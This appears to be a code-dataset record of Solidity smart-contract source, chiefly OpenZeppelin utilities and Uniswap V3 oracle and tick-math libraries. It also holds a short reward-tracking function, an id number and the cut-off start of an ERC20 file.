TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "../uniswap/interfaces.sol"; import "./LogPowMath.sol"; library UniswapOracle { using UniswapOracle for address; struct Observation { uint32 blockTimestamp; int56 tickCumulative; uint160 secondsPerLiquidityCumulativeX128; bool initialized; } /// @dev query a certain observation from uniswap pool /// @param pool address of uniswap pool /// @param observationIndex index of wanted observation /// @return observation desired observation, see Observation to learn more function getObservation(address pool, uint observationIndex) internal view returns (Observation memory observation) { ( observation.blockTimestamp, observation.tickCumulative, observation.secondsPerLiquidityCumulativeX128, observation.initialized ) = IUniswapV3Pool(pool).observations(observationIndex); } /// @dev query latest and oldest observations from uniswap pool /// @param pool address of uniswap pool /// @param latestIndex index of latest observation in the pool /// @param observationCardinality size of observation queue in the pool /// @return oldestObservation /// @return latestObservation function getObservationBoundary(address pool, uint16 latestIndex, uint16 observationCardinality) internal view returns (Observation memory oldestObservation, Observation memory latestObservation) { uint16 oldestIndex = (latestIndex + 1) % observationCardinality; oldestObservation = pool.getObservation(oldestIndex); if (!oldestObservation.initialized) { oldestIndex = 0; oldestObservation = pool.getObservation(0); } if (latestIndex == oldestIndex) { // oldest observation is latest observation latestObservation = oldestObservation; } else { latestObservation = pool.getObservation(latestIndex); } } struct Slot0 { int24 tick; uint160 sqrtPriceX96; uint16 observationIndex; uint16 observationCardinality; } /// @dev view slot0 infomations from uniswap pool /// @param pool address of uniswap /// @return slot0 a Slot0 struct with necessary info, see Slot0 struct above function getSlot0(address pool) internal view returns (Slot0 memory slot0) { ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, , , ) = IUniswapV3Pool(pool).slot0(); slot0.tick = tick; slot0.sqrtPriceX96 = sqrtPriceX96; slot0.observationIndex = observationIndex; slot0.observationCardinality = observationCardinality; } // note if we call this interface, we must ensure that the // oldest observation preserved in pool is older than 2h ago function _getAvgTickFromTarget(address pool, uint32 targetTimestamp, int56 latestTickCumu, uint32 latestTimestamp) private view returns (int24 tick) { uint32[] memory secondsAgo = new uint32[](1); secondsAgo[0] = uint32(block.timestamp) - targetTimestamp; int56[] memory tickCumulatives; (tickCumulatives,) = IUniswapV3Pool(pool).observe(secondsAgo); uint56 timeDelta = latestTimestamp - targetTimestamp; int56 tickAvg = (latestTickCumu - tickCumulatives[0]) / int56(timeDelta); tick = int24(tickAvg); } /// @dev compute avg tick and avg sqrt price of pool within one hour from now /// @param pool address of uniswap pool /// @return tick computed avg tick /// @return sqrtPriceX96 computed avg sqrt price, in the form of 96-bit fixed point number function getAvgTickPriceWithin2Hour(address pool) internal view returns (int24 tick, uint160 sqrtPriceX96, int24 currTick, uint160 currSqrtPriceX96) { Slot0 memory slot0 = pool.getSlot0(); if (slot0.observationCardinality == 1) { // only 1 observation in the swap pool // we could simply return tick/sqrtPrice of slot0 return (slot0.tick, slot0.sqrtPriceX96, slot0.tick, slot0.sqrtPriceX96); } else { // we will search the latest observation and the observation 1h ago // 1st, we should get the boundary of the observations in the pool Observation memory oldestObservation; Observation memory latestObservation; (oldestObservation, latestObservation) = pool.getObservationBoundary(slot0.observationIndex, slot0.observationCardinality); if (oldestObservation.blockTimestamp == latestObservation.blockTimestamp) { // there is only 1 valid observation in the pool return (slot0.tick, slot0.sqrtPriceX96, slot0.tick, slot0.sqrtPriceX96); } uint32 twoHourAgo = uint32(block.timestamp - 7200); // now there must be at least 2 valid observations in the pool if (twoHourAgo <= oldestObservation.blockTimestamp || latestObservation.blockTimestamp <= oldestObservation.blockTimestamp + 3600) { // the oldest observation updated within 1h // we can not safely call IUniswapV3Pool.observe(...) for it 1h ago uint56 timeDelta = latestObservation.blockTimestamp - oldestObservation.blockTimestamp; int56 tickAvg = (latestObservation.tickCumulative - oldestObservation.tickCumulative) / int56(timeDelta); tick = int24(tickAvg); } else { // we are sure that the oldest observation is old enough // we can safely call IUniswapV3Pool.observe(...) for it 1h ago uint32 targetTimestamp = twoHourAgo; if (targetTimestamp + 3600 > latestObservation.blockTimestamp) { targetTimestamp = latestObservation.blockTimestamp - 3600; } tick = _getAvgTickFromTarget(pool, targetTimestamp, latestObservation.tickCumulative, latestObservation.blockTimestamp); } sqrtPriceX96 = LogPowMath.getSqrtPrice(tick); return (tick, sqrtPriceX96, slot0.tick, slot0.sqrtPriceX96); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library FixedPoints { uint256 constant Q32 = (1 << 32); uint256 constant Q64 = (1 << 64); uint256 constant Q96 = (1 << 96); uint256 constant Q128 = (1 << 128); uint256 constant Q160 = (1 << 160); } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; /// @title Multicall /// @notice Enables calling multiple methods in a single call to the contract abstract contract Multicall { function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { // Next 5 lines from https://ethereum.stackexchange.com/a/83577 if (result.length < 68) revert(); assembly { result := add(result, 0x04) } revert(abi.decode(result, (string))); } results[i] = result; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IUniswapV3Pool { function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); } interface IUniswapV3Factory { /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee /// @return The tick spacing function feeAmountTickSpacing(uint24 fee) external view returns (int24); /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); } interface INonfungiblePositionManager { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } /// @notice Refunds any ETH balance held by this contract to the `msg.sender` /// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps /// that use ether for the input amount function refundETH() external payable; /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function ownerOf(uint256 tokenId) external view returns (address); function transferFrom( address from, address to, uint256 tokenId ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library LogPowMath { int24 internal constant MIN_POINT = -887272; int24 internal constant MAX_POINT = -MIN_POINT; uint160 internal constant MIN_SQRT_PRICE = 4295128739; uint160 internal constant MAX_SQRT_PRICE = 1461446703485210103287273052203988822378723970342; /// @notice sqrt(1.0001^point) in form oy 96-bit fix point num function getSqrtPrice(int24 point) internal pure returns (uint160 sqrtPrice_96) { uint256 absIdx = point < 0 ? uint256(-int256(point)) : uint256(int256(point)); require(absIdx <= uint256(int256(MAX_POINT)), 'T'); uint256 value = absIdx & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absIdx & 0x2 != 0) value = (value * 0xfff97272373d413259a46990580e213a) >> 128; if (absIdx & 0x4 != 0) value = (value * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absIdx & 0x8 != 0) value = (value * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absIdx & 0x10 != 0) value = (value * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absIdx & 0x20 != 0) value = (value * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absIdx & 0x40 != 0) value = (value * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absIdx & 0x80 != 0) value = (value * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absIdx & 0x100 != 0) value = (value * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absIdx & 0x200 != 0) value = (value * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absIdx & 0x400 != 0) value = (value * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absIdx & 0x800 != 0) value = (value * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absIdx & 0x1000 != 0) value = (value * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absIdx & 0x2000 != 0) value = (value * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absIdx & 0x4000 != 0) value = (value * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absIdx & 0x8000 != 0) value = (value * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absIdx & 0x10000 != 0) value = (value * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absIdx & 0x20000 != 0) value = (value * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absIdx & 0x40000 != 0) value = (value * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absIdx & 0x80000 != 0) value = (value * 0x48a170391f7dc42444e8fa2) >> 128; if (point > 0) value = type(uint256).max / value; sqrtPrice_96 = uint160((value >> 32) + (value % (1 << 32) == 0 ? 0 : 1)); } // floor(log1.0001(sqrtPrice_96)) function getLogSqrtPriceFloor(uint160 sqrtPrice_96) internal pure returns (int24 logValue) { // second inequality must be < because the price can nevex reach the price at the max tick require(sqrtPrice_96 >= MIN_SQRT_PRICE && sqrtPrice_96 < MAX_SQRT_PRICE, 'R'); uint256 sqrtPrice_128 = uint256(sqrtPrice_96) << 32; uint256 x = sqrtPrice_128; uint256 m = 0; assembly { let y := shl(7, gt(x, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(6, gt(x, 0xFFFFFFFFFFFFFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(5, gt(x, 0xFFFFFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(4, gt(x, 0xFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(3, gt(x, 0xFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(2, gt(x, 0xF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(1, gt(x, 0x3)) m := or(m, y) x := shr(y, x) } assembly { let y := gt(x, 0x1) m := or(m, y) } if (m >= 128) x = sqrtPrice_128 >> (m - 127); else x = sqrtPrice_128 << (127 - m); int256 l2 = (int256(m) - 128) << 64; assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(63, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(62, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(61, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(60, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(59, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(58, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(57, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(56, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(55, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(54, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(53, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(52, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(51, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(50, y)) } int256 ls10001 = l2 * 255738958999603826347141; int24 logFloor = int24((ls10001 - 3402992956809132418596140100660247210) >> 128); int24 logUpper = int24((ls10001 + 291339464771989622907027621153398088495) >> 128); logValue = logFloor == logUpper ? logFloor : getSqrtPrice(logUpper) <= sqrtPrice_96 ? logUpper : logFloor; } function getLogSqrtPriceFU(uint160 sqrtPrice_96) internal pure returns (int24 logFloor, int24 logUpper) { // second inequality must be < because the price can nevex reach the price at the max tick require(sqrtPrice_96 >= MIN_SQRT_PRICE && sqrtPrice_96 < MAX_SQRT_PRICE, 'R'); uint256 sqrtPrice_128 = uint256(sqrtPrice_96) << 32; uint256 x = sqrtPrice_128; uint256 m = 0; assembly { let y := shl(7, gt(x, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(6, gt(x, 0xFFFFFFFFFFFFFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(5, gt(x, 0xFFFFFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(4, gt(x, 0xFFFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(3, gt(x, 0xFF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(2, gt(x, 0xF)) m := or(m, y) x := shr(y, x) } assembly { let y := shl(1, gt(x, 0x3)) m := or(m, y) x := shr(y, x) } assembly { let y := gt(x, 0x1) m := or(m, y) } if (m >= 128) x = sqrtPrice_128 >> (m - 127); else x = sqrtPrice_128 << (127 - m); int256 l2 = (int256(m) - 128) << 64; assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(63, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(62, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(61, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(60, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(59, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(58, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(57, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(56, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(55, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(54, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(53, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(52, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(51, y)) x := shr(y, x) } assembly { x := shr(127, mul(x, x)) let y := shr(128, x) l2 := or(l2, shl(50, y)) } int256 ls10001 = l2 * 255738958999603826347141; logFloor = int24((ls10001 - 3402992956809132418596140100660247210) >> 128); logUpper = int24((ls10001 + 291339464771989622907027621153398088495) >> 128); } }
new a token status when touched.
function _newTokenStatus(TokenStatus memory newTokenStatus) internal { tokenStatus[newTokenStatus.nftId] = newTokenStatus; TokenStatus storage t = tokenStatus[newTokenStatus.nftId]; t.lastTouchBlock = lastTouchBlock; t.lastTouchAccRewardPerShare = new uint256[](rewardInfosLen); for (uint256 i = 0; i < rewardInfosLen; i++) { t.lastTouchAccRewardPerShare[i] = rewardInfos[i].accRewardPerShare; } }
5,850,520
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /* * @dev Provides information about the current execution context. * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added 